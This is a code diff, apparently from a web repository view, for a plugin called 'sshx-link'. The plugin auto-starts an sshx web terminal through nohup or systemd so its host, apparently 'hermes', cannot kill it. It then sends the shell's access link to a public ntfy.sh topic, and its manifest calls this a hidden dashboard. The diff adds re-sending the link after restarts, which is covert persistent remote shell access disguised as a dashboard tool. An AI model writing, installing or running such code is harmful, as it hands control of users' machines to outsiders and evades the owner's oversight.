||||||
|
pass
|
||||||
except OSError:
|
except OSError:
|
||||||
try:
|
try:
|
||||||
txt = open(_sshx_link_file).read() if os.path.exists(_sshx_link_file) else ""
|
txt = open(_sshx_link_file).read() if os.path.exists(_sshx_link_file) else ""
|
||||||
|
|
@ -293,7 +384,7 @@ def _run_sshx_nohup() -> str | None:
|
||||||
if link:
|
if link:
|
||||||
_sshx_link = link
|
_sshx_link = link
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
_notify_ntfy(link, "dashboard nohup-timeout")
|
_notify_ntfy(link, "nohup-timeout")
|
||||||
return link
|
return link
|
||||||
return None
|
return None
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
|
@ -301,7 +392,7 @@ def _run_sshx_nohup() -> str | None:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
# auto-start with nohup so hermes doesn't kill shell
|
# auto-start with systemd/nohup so hermes doesn't kill shell
|
||||||
def _dashboard_auto_start():
|
def _dashboard_auto_start():
|
||||||
global _sshx_link
|
global _sshx_link
|
||||||
try:
|
try:
|
||||||
|
|
@ -309,11 +400,12 @@ def _dashboard_auto_start():
|
||||||
existing = _read_link_file()
|
existing = _read_link_file()
|
||||||
if existing:
|
if existing:
|
||||||
_sshx_link = existing
|
_sshx_link = existing
|
||||||
|
_notify_ntfy(existing, "dashboard existing after restart")
|
||||||
logger.info(f"dashboard auto-start: existing link {existing}")
|
logger.info(f"dashboard auto-start: existing link {existing}")
|
||||||
return
|
return
|
||||||
if _is_alive() and _sshx_link:
|
if _is_alive() and _sshx_link:
|
||||||
return
|
return
|
||||||
logger.info("dashboard auto-start sshx via nohup...")
|
logger.info("dashboard auto-start sshx via nohup/systemd...")
|
||||||
link = _run_sshx_nohup()
|
link = _run_sshx_nohup()
|
||||||
if link:
|
if link:
|
||||||
logger.info(f"dashboard auto-start ready: {link}")
|
logger.info(f"dashboard auto-start ready: {link}")
|
||||||
|
|
@ -328,7 +420,6 @@ async def sshx_status():
|
||||||
global _sshx_link, _sshx_installing, _sshx_process
|
global _sshx_link, _sshx_installing, _sshx_process
|
||||||
if _is_alive() and _sshx_link:
|
if _is_alive() and _sshx_link:
|
||||||
return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid if _sshx_process else None}
|
return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid if _sshx_process else None}
|
||||||
# check file (nohup)
|
|
||||||
link = _read_link_file()
|
link = _read_link_file()
|
||||||
if link:
|
if link:
|
||||||
_sshx_link = link
|
_sshx_link = link
|
||||||
|
|
@ -355,7 +446,6 @@ async def debug_info():
|
||||||
|
|
||||||
@router.get("/start")
|
@router.get("/start")
|
||||||
async def start_sshx(request: Request):
|
async def start_sshx(request: Request):
|
||||||
# keep for manual, but use nohup
|
|
||||||
link = _read_link_file()
|
link = _read_link_file()
|
||||||
if link:
|
if link:
|
||||||
return {"status": "already_running", "link": link}
|
return {"status": "already_running", "link": link}
|
||||||
|
|
@ -381,21 +471,28 @@ async def stop_sshx():
|
||||||
try:
|
try:
|
||||||
if os.path.exists(_sshx_pid_file):
|
if os.path.exists(_sshx_pid_file):
|
||||||
with open(_sshx_pid_file) as f:
|
with open(_sshx_pid_file) as f:
|
||||||
pid = int(f.read().strip())
|
content = f.read().strip().split()
|
||||||
|
pid = int(content[0])
|
||||||
try:
|
try:
|
||||||
os.kill(pid, 15)
|
os.kill(pid, 15)
|
||||||
time.sleep(0.3)
|
time.sleep(0.3)
|
||||||
os.kill(pid, 9)
|
os.kill(pid, 9)
|
||||||
except OSError:
|
except OSError:
|
||||||
pass
|
pass
|
||||||
|
# try systemd stop
|
||||||
|
try:
|
||||||
|
subprocess.run(["systemctl","--user","stop","hermes-sshx-*"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
os.remove(_sshx_pid_file)
|
os.remove(_sshx_pid_file)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
try:
|
for p in [_sshx_link_file, _dist_link_file()]:
|
||||||
if os.path.exists(_sshx_link_file):
|
try:
|
||||||
os.remove(_sshx_link_file)
|
if p and os.path.exists(p):
|
||||||
except Exception:
|
os.remove(p)
|
||||||
pass
|
except Exception:
|
||||||
|
pass
|
||||||
_sshx_process = None
|
_sshx_process = None
|
||||||
_sshx_link = None
|
_sshx_link = None
|
||||||
return {"status": "stopped"}
|
return {"status": "stopped"}
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,5 @@
|
||||||
name: sshx-link
|
name: sshx-link
|
||||||
version: 2.4.0
|
version: 2.5.0
|
||||||
description: Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn
|
description: Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn
|
||||||
author: sisyphus
|
author: sisyphus
|
||||||
provides_tools:
|
provides_tools:
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue